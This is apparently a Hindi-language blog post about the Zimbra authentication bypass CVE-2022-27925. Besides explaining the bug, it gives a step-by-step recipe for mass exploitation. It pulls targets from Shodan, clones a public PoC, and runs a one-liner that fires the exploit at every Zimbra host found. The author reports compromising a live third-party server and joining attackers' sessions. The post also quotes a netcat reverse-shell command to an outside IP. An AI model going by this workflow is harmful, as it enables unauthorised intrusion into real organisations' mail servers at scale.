
CVE-2022-27925
निम्नलिखित शोध कई शोधकर्ताओं द्वारा साझा किए गए GitHub रिपॉजिटरी के POC को समझने के प्रयास से शुरू हुआ और एक दिलचस्प आश्चर्य पर समाप्त हुआ, जिसे मैं अगले पैराग्राफ में साझा करूंगा। इस वर्ष 10 अगस्त को, सुरक्षा अनुसंधान समूह Volexity ने अपने twitter खाते पर ZCS (Zimbra Collaboration Server) सुइट के बड़े पैमाने पर शोषण की खोज प्रकाशित की, जो प्रमाणीकरण को बायपास करने की अनुमति देता है और दुनिया भर में लगभग 1000 Zimbra इंस्टेंस से समझौता किया गया था।
सहकर्मियों Volexity द्वारा प्रस्तुत शोध में, वे परामर्शित लॉग का एक हिस्सा दिखा रहे थे
[attacker_ip] - - [30/Jun/2022:05:33:18 +0000] "POST [snipped]/service/extension/backup/mboximport?account-name=admin&ow=1&no-switch=true HTTP/1.0" 401 299 "[snipped]" "Mozilla/5.0 (X11; Linux x86_64; rv:101.0) Gecko/20100101 Firefox/101.0" 7
इसी प्रकार, उन्होंने बताया कि कोड की विफलता doPost फ़ंक्शन के कारण थी,

इस कोड के साथ समस्या यह है कि प्रमाणीकरण की जाँच की जाती है और एक त्रुटि संदेश सेट किया जाता है, लेकिन कोई रिटर्न स्टेटमेंट नहीं है। इसका मतलब है कि उपयोगकर्ता की प्रमाणीकरण स्थिति की परवाह किए बिना, बाद का कोड निष्पादित होता रहेगा। फ़ंक्शन के नीचे जाने पर, एक हमलावर को केवल URL में सही पैरामीटर सेट करने की आवश्यकता होती है ताकि भेद्यता का शोषण किया जा सके।
एक बार जब हम संभावित कारणों को समझ गए और कुछ POC सामने आ चुके थे, हम चरण-दर-चरण शोषण करने के लिए आगे बढ़ते हैं, लेकिन पहले हम greynoise टूल का उपयोग करके स्थिति की जांच करेंगे।

हम देखते हैं कि CVE-2022-27925 प्रकाशित होने के एक महीने से अधिक समय बाद भी हमले हो रहे हैं।
Shodan पर हम लगभग 45,223 Zimbra इंस्टॉलेशन देख सकते हैं

shodan download --limit -1 zimbra.json.gz http.favicon.hash:"1624375939"

हम परिणामों को पार्स करेंगे
shodan parse --fields ip_str,port --separator , zimbra.json.gz > zimbra.txt

हम डेटा की थोड़ी समीक्षा करेंगे और परीक्षणों को स्वचालित करने के लिए आवश्यक प्रारूप देंगे।
हम डेटा को पार्स करते हैं ताकि एक ऑनलाइन का उपयोग किया जा सके

हम docker में httpx का उपयोग करेंगे

हम GitHub से POC डाउनलोड करते हैं
git clone https://github.com/vnhacker1337/CVE-2022-27925-PoC

हम POC के साथ ओनलाइनर का परीक्षण करते हैं, यह ध्यान रखना महत्वपूर्ण है कि हमें पार्स की गई फ़ाइल को POC निर्देशिका में ले जाना चाहिए या इसे पूर्ण पथ से कॉल करना चाहिए, इसके अलावा shodan डंप का उपयोग करके भी इसका उपयोग कर सकते हैं।
cat zimbra.json | jq -r '.hostnames[]' | docker run -i projectdiscovery/httpx -silent | xargs -I@ sh -c 'python3 zimbra-exploit.py @ 313.zip' | egrep -v '404|401|405|200'

इस परीक्षण के दौरान कई लक्ष्य पहले से ही पैच किए हुए दिखाई देते हैं।
अंततः हमें एक परिणाम मिला


एक बार भेद्यता का शोषण हो जाने के बाद, हम ऐसी फ़ाइलें देखते हैं जो सूचना की चोरी और ब्लैकमेल की तैयारी के लिए APT स्क्रिप्ट हैं।

दुर्भावनापूर्ण फ़ाइल gift

बैकअप और एक्सफिल्ट्रेशन फ़ाइल
हमें मिले एक पथ में कई वेबशेल थे
/opt/zimbra/jetty_base/webapps/zimbraAdmin/

चल रही प्रक्रियाओं के विश्लेषण से पता चला कि ईमेल को पैकेज करने के लिए क्रॉनजॉब स्थापित किए जा रहे थे।

नोट: निम्नलिखित शैक्षिक उद्देश्यों और एक अच्छा कार्य करने के तरीके के रूप में किया गया था।
एक बार netcat के डाउनलोड की पहचान हो जाने के बाद, हमने हमलावरों के सत्र पर कब्जा करना शुरू कर दिया, netcat ./nc 52.90.92.82 443 -e /bin/bash का उपयोग देखा गया।
30 दिन पहले सार्वजनिक रूप से रिपोर्ट की गई एक भेद्यता इस लेख को लिखने के समय भी प्रभावी बनी हुई है, यह ध्यान देने योग्य है कि प्रभावितों को सूचित किया गया था लेकिन सफलता नहीं मिली क्योंकि भेद्यता अभी भी सक्रिय है।